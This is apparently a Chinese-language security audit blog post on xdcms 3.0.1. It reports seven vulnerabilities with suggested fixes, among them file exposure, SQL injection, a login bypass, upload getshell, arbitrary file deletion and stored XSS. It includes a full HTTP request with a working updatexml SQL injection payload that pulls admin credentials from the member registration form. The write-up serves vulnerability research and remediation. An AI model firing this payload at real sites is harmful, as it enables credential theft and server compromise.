xdcms 3.0.1代码审计

前言:

(申明:文中图片中ip地址为内网Ip地址)

admin       后台管理文件
cache       缓存文件
system      配置文件
uploadfile  上传文件

打开首页查看功能

漏洞1 数据库文件信息泄露

安装好cms后首先尝试再次访问install文件,


这里没有覆盖安装的漏洞,继续查看install目录有哪些文件
尝试访问data.sql

修复方案:

将data.sql移动到禁止访问目录,或对该文件权限进行设置禁止访问

漏洞2 会员注册处sql注入


查看代码 system/modules/member/index.php

这里有一个safe_html函数,尝试跟踪 system/function/fun.inc.php

function safe_html($str){
	if(empty($str)){return;}
	$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\\%|\\=|\\/\\*|\\*|\\.\\.\\/|\\.\\/| union | from | where | group | into |load_file
|outfile/','',$str);
	return htmlspecialchars($str);

所以抓包修改

完整数据包:

POST /index.php?m=member&f=register_save HTTP/1.1
Host: 30.110.0.52
Content-Length: 214
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: <http://30.110.0.52>
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: <http://30.110.0.52/index.php?m=member&f=register>
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17abd4832ac51b-08c311c38f92c2-6373264-144000-17abd4832ad90a; url=http%3A%2F%2F123; mail=13%40qq.com; name=1; CNZZDATA3801251=cnzz_eid%3D1178310841-1626673255-%26ntime%3D1626954450; commentposter=admin; posterurl=http%3A%2F%2F30.110.0.52%2F; HISTORY={video:[{"name":"123","link":"<http://30.110.0.52/bplay.php?play=332","pic":"/m-992/uploads/allimg/201706/a0a13289528feabb.jpg"},{"name":"\\u5931\\u5B64","link":"http://30.110.0.52/play.php?play=/m/hqPmZBH1QHH8Sh.html","pic":"/m-992/uploads/allimg/201706/a0a13289528feabb.jpg"},{"name":"\\u6597\\u7F57\\u5927\\u9646","link":"http://30.110.0.52/play.php?play=/ct/OUPkaZ7kNY7vDj.html","pic":"/m-992/uploads/allimg/201706/a0a13289528feabb.jpg"},{"name":"\\u7F57\\u7C73\\u5A1C2018","link":"http://30.110.0.52/bplay.php?play=312","pic":"/m-992/uploads/allimg/201706/a0a13289528feabb.jpg"},{"name":"\\u60AC\\u5D16\\u4E4B\\u4E0A","link":"http://30.110.0.52/play.php?play=/m/gKbpahH6RHH8Tx.html","pic":"/m-992/uploads/allimg/201706/a0a13289528feabb.jpg>"}]}; PHPSESSID=qlgroibpe4a10o6ff219ld6pd3
Connection: close

username=123123'or updatexml(1,concat(0x7e,(SELECT concat(username,0x23,password) FROM c_admin),0x7e),1)#&password=123123&password2=123123&fields%5Btruename%5D=123&fields%5Bemail%5D=123&submit=+%E6%B3%A8+%E5%86%8C+

结果


修复方案:

对参数进行addslashes过滤,黑名单加上对大写命令的过滤或用白名单的方式进行过滤

漏洞3:会员登录处万能密码

先在system/modules/member/index.php把和登录相关的代码拿出来

public function login_save(){
		$username = safe_html($_POST['username']);
		$password = safe_html($_POST['password']);
		
		if(empty($username)||empty($password)){
			showmsg(C('user_pass_empty'),'-1');
		}
		
		$sql="select * from ".DB_PRE."member where `username`='$username'";
		if($this->mysql->num_rows($sql)==0){
			showmsg(C('member_not_exist'),'-1');
		}
		
		$password=md5(md5($password));
		$rs=$this->mysql->get_one($sql);
		if($password!=$rs['password']){
			showmsg(C('password_error'),'-1');
		}

这里先判断用户是否存在,接着判断密码,,get_one()将sql语句执行结果返回,在system/libs/mysql.class.php中


我们先让返回的结果显示出来,在get_one()中加入var_dump(mysql_fetch_assoc($result));

bp抓包查看

那么直接在union select 显示4的位置构造密码,这里选取数字4

漏洞4 管理员登录处sql注入

接下来对后台管理代码进行测试,管理员登录处存在同样的sql注入问题


这里不再继续测试

漏洞5 管理后台getshell


这里可以直接更改图片上传格式,添加后缀php即可getshell

修复方案:

对图片上传格式限制在代码中添加黑名单或白名单。

漏洞6 任意文件删除

后台中有一个对数据库管理的栏目,查看代码 system/modules/xdcms/data.php


这里先判断传进来的参数是不是文件夹,也就是我们可以通过这个漏洞达到删除任意文件夹中的所有文件的作用


修复方案:

$len = strlen($file);
	$num=0;
	while($num<=$len){
		$b=$file{$num};
		$num=$num+1;
		if(ord($b) == 47 || ord($b) == 46){
			$admin_name="0";
      showmsg('非法操作'); 
			break;
		}
	}

漏洞7 后台储存型xss

后台关键词链接处,代码地址 system/modules/xdcms/keywords.php



这里对url参数没有任何过滤,直接构造xss即可

修复方案:
对url参数的内容进行xss过滤。

总结

本套cms作者自己写了个简单的框架,这此审计算是第一次接触简单的mvc框架,刚开始审计使读代码逻辑不是很能看懂,后面发现作者是利用get参数m和c选择文件,f参数选择代码中的函数;很多时候需要给代码加上echo等命令查看某变量的处理情况方便进一步的审计。